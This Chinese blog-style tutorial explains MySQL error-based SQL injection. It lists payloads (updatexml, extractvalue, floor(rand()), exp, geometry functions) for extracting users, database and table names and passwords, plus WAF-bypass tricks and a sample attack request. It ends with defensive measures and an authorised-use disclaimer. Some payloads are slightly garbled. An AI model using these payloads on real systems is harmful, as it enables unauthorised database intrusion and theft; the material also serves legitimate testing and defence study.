当前位置: 首页 > news >正文

报错注入原理与全方法总结

报错注入原理与全方法总结

核心原理:利用数据库函数执行时的强制报错机制,通过拼接恶意构造的语句触发错误,在报错信息中返回敏感数据。


一、主流报错注入方法详解

1️⃣ updatexml() 函数
  • 语法updatexml(XML_document, XPath_string, new_value)
  • 适用版本:MySQL 5.1.5+
  • Payload构造
    updatexml(1, concat(0x7e, (SELECT user()), 0x7e), 1)
    
  • 关键技巧
    • 通过 0x7e~符号)破坏XPath语法格式触发报错
    • 嵌套子查询 (SELECT ...) 获取数据库信息
  • 实战案例
    # 获取当前数据库名
    updatexml(1, concat(0x7e,(SELECT database()),0x7e),1)# 提取表名(需绕过行数限制)
    updatexml(1, concat(0x7e,(SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 1,1)
    ,0x7e),1)
    
2️⃣ extractvalue() 函数
  • 语法extractvalue(XML_document, XPath_string)
  • 适用版本:MySQL 5.1.5+
  • Payload构造
    AND extractvalue(1, concat(0x7e,(SELECT user()),0x7e))
    
  • 特点:报错原理与updatexml()相同,但参数更少

二、扩展报错注入方法(补充)

3️⃣ floor(rand())*2 报错
  • 原理group byrand()函数产生的重复值冲突
  • 经典Payload
    SELECT count(*) FROM information_schema.tables 
    GROUP BY concat((SELECT user()), floor(rand(0)*2
    )
    
  • 优势:可一次性返回多行数据
4️⃣ exp() 函数溢出报错
  • 原理:超大指数导致数值溢出
  • Payload
    SELECT exp(~(SELECT * FROM(SELECT user())x))
    
5️⃣ 几何函数报错(MySQL 5.7+)
  • 利用 ST_LatFromGeoHash(), GTID_SUBSET()
  • 示例
    SELECT ST_LatFromGeoHash((SELECT user()));
    

三、绕过技巧与高级用法

  1. 解决字符长度限制(32字符):

    • 使用 substr() 分片获取数据:
      updatexml(1, concat(0x7e,substr((SELECT password FROM users LIMIT 1),1,20)
      ,0x7e),1)
      
  2. 无回显场景联合使用

    AND if(1=1, updatexml(1,concat(0x7e,version()),1), sleep(3)
    
  3. WAF绕过技巧

    • 双写关键字:selselectect
    • 内联注释:/*!updatexml()*/
    • 空白符干扰:%0a%0d(换行符)

四、防御方案

  1. 代码层
    • 使用参数化查询(Prepared Statements)
    • 过滤特殊字符:~ # xp_ /*
  2. 数据库层
    • 限制错误信息输出(关闭详细报错)
    • 最小权限原则:禁用FILE/EXECUTE权限
  3. 设备层
    • WAF规则:拦截包含 updatexml|extractvalue|rand() 的请求

五、实战检测示例

GET /product.php?id=1' AND updatexml(1,concat(0x7e,@@version),1)--+

返回结果

XPATH syntax error: '~10.6.12-MariaDB'

法律声明:报错注入技术仅限授权测试使用!本文方法已做脱敏处理,严禁未授权渗透。

http://www.lryc.cn/news/623526.html

相关文章:

  • Baumer高防护相机如何通过YoloV8深度学习模型实现行人跌倒的检测识别(C#代码UI界面版)
  • 基于Spring Boot+Vue的莱元元电商数据分析系统 销售数据分析 天猫电商订单系统
  • MySQL黑盒子研究工具 strace
  • TensorRT-LLM.V1.1.0rc0:在无 GitHub 访问权限的服务器上编译 TensorRT-LLM 的完整实践
  • Vue中v-show与v-if的区别
  • 负载测试与压力测试详解
  • mac电脑开发嵌入式基于Clion(stm32CubeMX)
  • 【力扣热题100】双指针—— 三数之和
  • Unity进阶--C#补充知识点--【Unity跨平台的原理】了解.Net
  • 44.【.NET8 实战--孢子记账--从单体到微服务--转向微服务】--扩展功能--集成网关--网关集成认证(三)
  • 【Java后端】Spring Boot 集成 MyBatis 全攻略
  • 反向代理、负载均衡器与API网关选型决策
  • 【牛客刷题】BM63 跳台阶:三种解法深度解析(递归/DP动态规划/记忆化搜索)
  • Shell脚本-for循环应用案例
  • 小白成长之路-k8s部署discuz论坛
  • HTTP请求参数类型及对应的后端注解
  • B站 韩顺平 笔记 (Day 21)
  • 新的“MadeYouReset”方法利用 HTTP/2 进行隐秘的 DoS 攻击
  • css中 hsl() 的用法
  • ubuntu常见问题汇总
  • 说一下分离读写
  • Linux入门指南:基础开发工具---vim
  • 谈谈对面向对象OOP的理解
  • Spring MVC 九大组件源码深度剖析(四):HandlerMapping - 请求映射的玄机
  • 问津集 #5:Crystal: A Unified Cache Storage System for Analytical Databases
  • Python自学10-常用数据结构之字符串
  • Windchill 11 Enumerated Type Customization Utility-枚举类型自定义实用程序
  • python---装饰器
  • 光耦,发声器件,继电器,瞬态抑制二极管
  • Rust Async 异步编程(一):入门